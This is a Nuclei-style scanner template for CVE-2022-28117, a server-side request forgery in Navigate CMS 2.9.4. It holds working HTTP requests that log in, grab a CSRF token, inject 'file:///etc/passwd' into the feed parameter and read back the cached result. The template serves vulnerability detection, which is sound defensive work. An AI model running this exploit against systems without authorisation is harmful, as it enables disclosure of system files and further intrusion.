id: CVE-2022-28117

info:
  name: Navigate CMS 2.9.4 - Server-Side Request Forgery
  author: theabhinavgaur
  severity: medium
  description: |
    Navigate CMS 2.9.4 is susceptible to server-side request forgery via feed_parser class. This can allow a remote attacker to force the application to make arbitrary requests via injection of arbitrary URLs into the feed parameter, thus enabling possible theft of sensitive information, data modification, and/or unauthorized operation execution.
  reference:
    - https://packetstormsecurity.com/files/167063/Navigate-CMS-2.9.4-Server-Side-Request-Forgery.html
    - https://www.navigatecms.com/en/blog/development/navigate_cms_update_2_9_5
    - https://www.youtube.com/watch?v=4kHW95CMfD0
    - https://nvd.nist.gov/vuln/detail/CVE-2022-28117
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 4.9
    cve-id: CVE-2022-28117
    cwe-id: CWE-918
  metadata:
    verified: "true"
  tags: authenticated,packetstorm,cve,cve2022,ssrf,navigate,cms,lfi

requests:
  - raw:
      - |
        GET /navigate/login.php HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /navigate/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------123456789012345678901234567890

        -----------------------------123456789012345678901234567890
        Content-Disposition: form-data; name="login-username"

        {{username}}
        -----------------------------123456789012345678901234567890
        Content-Disposition: form-data; name="csrf_token"

        {{csrf_token}}
        -----------------------------123456789012345678901234567890
        Content-Disposition: form-data; name="login-password"

        {{password}}
        -----------------------------123456789012345678901234567890

      - |
        POST /navigate/navigate.php?fid=dashboard&act=json&oper=feed HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        limit=5&language=en&url=file:///etc/passwd

      - |
        GET /navigate/private/1/cache/0f1726ba83325848d47e216b29d5ab99.feed HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: csrf_token
        part: body
        group: 1
        regex:
          - 'csrf_token" value="([a-f0-9]{64})'
        internal: true

# Enhanced by md on 2023/01/24